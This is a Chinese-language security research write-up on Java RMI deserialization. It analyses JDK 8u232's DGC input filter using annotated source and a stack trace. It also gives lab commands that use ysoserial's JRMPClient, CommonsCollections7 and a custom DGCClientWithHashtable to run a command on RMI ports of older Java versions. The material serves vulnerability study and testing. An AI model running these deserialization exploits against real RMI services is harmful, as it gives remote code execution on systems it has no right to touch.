/ * sun.rmi.transport.DGCImpl.checkInput / / * ObjectInputFilter to filter DGC input objects. * The list of acceptable classes is very short and explicit. * The depth and array sizes are limited. * * @param filterInfo access to class, arrayLength, etc. * @return {@link ObjectInputFilter.Status#ALLOWED} if allowed, * {@link ObjectInputFilter.Status#REJECTED} if rejected, * otherwise {@link ObjectInputFilter.Status#UNDECIDED} / private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) { if (dgcFilter != null) { / * 386行，如果指定-Dsun.rmi.transport.dgcFilter=''，流程至此。接下来会去 * 调用sun.misc.ObjectInputFilter$Config$Global.checkInput，后者会返回 * UNDECIDED。接下来流程会去393行，在那里返回REJECTED。 / ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { // The DGC filter can override the built-in white-list return status; } } / * 393行，如果指定-Dsun.rmi.transport.dgcFilter=''，流程至此 * * filterInfo.depth()等于6，DGC_MAX_DEPTH等于5 / if (filterInfo.depth() > DGC_MAX_DEPTH) { / * 394行 / return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null) { while (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) { return ObjectInputFilter.Status.REJECTED; } // Arrays are allowed depending on the component type clazz = clazz.getComponentType(); } if (clazz.isPrimitive()) { // Arrays of primitives are allowed return ObjectInputFilter.Status.ALLOWED; } / * 409行，java.util.Hashtable无法通过这个白名单检查，返回REJECTED */ return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; } // Not a class, not size limited return ObjectInputFilter.Status.UNDECIDED; }

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dsun.rmi.transport.dgcFilter='*' \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414

指定dgcFilter，仍然失败，提示:

INFO: ObjectInputFilter REJECTED: null, array length: -1, nRefs: 30, depth: 6, bytes: 877, ex: n/a

一般REJECTED后面显示被禁止的class，如果显示null，表示一种特殊的检查，此时被REJECTED的原因是depth=6，大于5。这种特殊的检查无法通过调整dgcFilter来绕过，算是功能性BUG。

[1] sun.misc.ObjectInputFilter$Config$Global.checkInput (ObjectInputFilter.java:642), pc = 0 [2] sun.rmi.transport.DGCImpl.checkInput (DGCImpl.java:386), pc = 10 [3] sun.rmi.transport.DGCImpl.access$300 (DGCImpl.java:72), pc = 1 [4] sun.rmi.transport.DGCImpl$2.lambda$run$0 (DGCImpl.java:343), pc = 1 [5] sun.rmi.transport.DGCImpl$2$$Lambda$5.1374677625.checkInput (null), pc = 1 [6] java.io.ObjectInputStream.filterCheck (ObjectInputStream.java:1,238), pc = 53 [7] java.io.ObjectInputStream.readHandle (ObjectInputStream.java:1,701), pc = 131 [8] java.io.ObjectInputStream.readClassDesc (ObjectInputStream.java:1,744), pc = 65 [9] java.io.ObjectInputStream.readArray (ObjectInputStream.java:1,929), pc = 22 [10] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,566), pc = 335 [11] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [12] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,210), pc = 298 [13] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [14] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [15] java.io.ObjectInputStream.readArray (ObjectInputStream.java:1,974), pc = 412 [16] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,566), pc = 335 [17] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,210), pc = 298 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [21] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [22] java.io.ObjectInputStream.defaultReadObject (ObjectInputStream.java:560), pc = 41 [23] org.apache.commons.collections.map.LazyMap.readObject (LazyMap.java:143), pc = 1 [24] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [25] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [26] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [27] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [28] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [29] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [30] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [31] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [32] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [33] java.util.Hashtable.readObject (Hashtable.java:1,211), pc = 208 [34] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [35] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [36] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [37] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [38] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [39] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [40] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [41] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [42] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [43] sun.rmi.transport.DGCImpl_Skel.dispatch (DGCImpl_Skel.java:90), pc = 195 [44] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:469), pc = 137 [45] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:301), pc = 44 [46] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [47] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [48] java.security.AccessController.doPrivileged (native method) [49] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [50] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:573), pc = 185 [51] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:798), pc = 457 [52] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0 (TCPTransport.java:688), pc = 1 [53] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$6.1876141160.run (null), pc = 4 [54] java.security.AccessController.doPrivileged (native method) [55] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:687), pc = 58 [56] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,149), pc = 95 [57] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:624), pc = 5 [58] java.lang.Thread.run (Thread.java:748), pc = 11

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/misc/ObjectInputFilter.java

/ * sun.misc.ObjectInputFilter$Config$Global.checkInput / /* * {@inheritDoc} / @Override public Status checkInput(FilterInfo filterInfo) { if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth || filterInfo.streamBytes() > maxStreamBytes) { return Status.REJECTED; }

Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
    if (clazz.isArray()) {
        if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > maxArrayLength) {
            // array length is too big
            return Status.REJECTED;
        }
        if (!checkComponentType) {
            // As revised; do not check the component type for arrays
            return Status.UNDECIDED;
        }
        do {
            // Arrays are decided based on the component type
            clazz = clazz.getComponentType();
        } while (clazz.isArray());
    }

    if (clazz.isPrimitive())  {
        // Primitive types are undecided; let someone else decide
        return Status.UNDECIDED;
    } else {
        // Find any filter that allowed or rejected the class
        final Class<?> cl = clazz;
        Optional<Status> status = filters.stream()
                .map(f -> f.apply(cl))
                .filter(p -> p != Status.UNDECIDED)
                .findFirst();
        return status.orElse(Status.UNDECIDED);
    }
}

/ * 642行，如果指定-Dsun.rmi.transport.dgcFilter=''，流程至此 */ return Status.UNDECIDED; }

8u232指定dgcFilter时的行为应该算是BUG，无法通过调整maxdepth来绕过。无论怎么调整maxdepth，总有一处返回REJECTED。

8) 用DGCClientWithHashtable打常规RMI动态端口

只要侦听RMI周知端口、动态端口，就有DGC在其中。对于低版本Java，找到RMI动态端口就可以用DGCClientWithHashtable或ysoserial.exploit.JRMPClient打，不需要 EvilClientWithUnicastRemoteObject或ysoserial.payloads.JRMPListener。

参看:

《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt

复用其中某些class。

假设目录结构是:

. | +---test1 | SomeDynamicServer4.class | SomeInterface4.class | SomeInterface4Impl.class | commons-collections-3.1.jar | ---test2 DGCClientWithHashtable.class commons-collections-3.1.jar ysoserial-0.0.6-SNAPSHOT-all.jar rmi-dumpregistry.nse

在test1目录执行:

rmiregistry 1099

java_8_40 \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ SomeDynamicServer4 any

在test2目录执行:

nmap -n -Pn -p 1099 --script rmi-dumpregistry.nse 192.168.65.23

java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 45246 \ "/bin/touch /tmp/scz_is_here"

java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 45246 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here"

"CVE-2017-3241进阶"篇用8u232可以得手，DGCClientWithHashtable只能打8u40等低版本。

9) 用DGCClientWithHashtable打常规RMI周知端口

RMI周知端口一样有DGC在其中。对于低版本Java，可以用DGCClientWithHashtable或 ysoserial.exploit.JRMPClient打RMI周知端口。之前打RMI周知端口用过 ysoserial.exploit.RMIRegistryExploit。

参看:

《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt

复用其中某些class。

假设目录结构是:

. | +---test1 | RMIRegistryServer.class | commons-collections-3.1.jar | ---test2 DGCClientWithHashtable.class commons-collections-3.1.jar ysoserial-0.0.6-SNAPSHOT-all.jar

在test1目录执行:

java_8_40 \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 1099

在test2目录执行:

java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1099 \ "/bin/touch /tmp/scz_is_here"

java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 1099 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here"

☆ 参考资源

[52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译，不需要下这个jar包)

git clone https://github.com/frohoff/ysoserial.git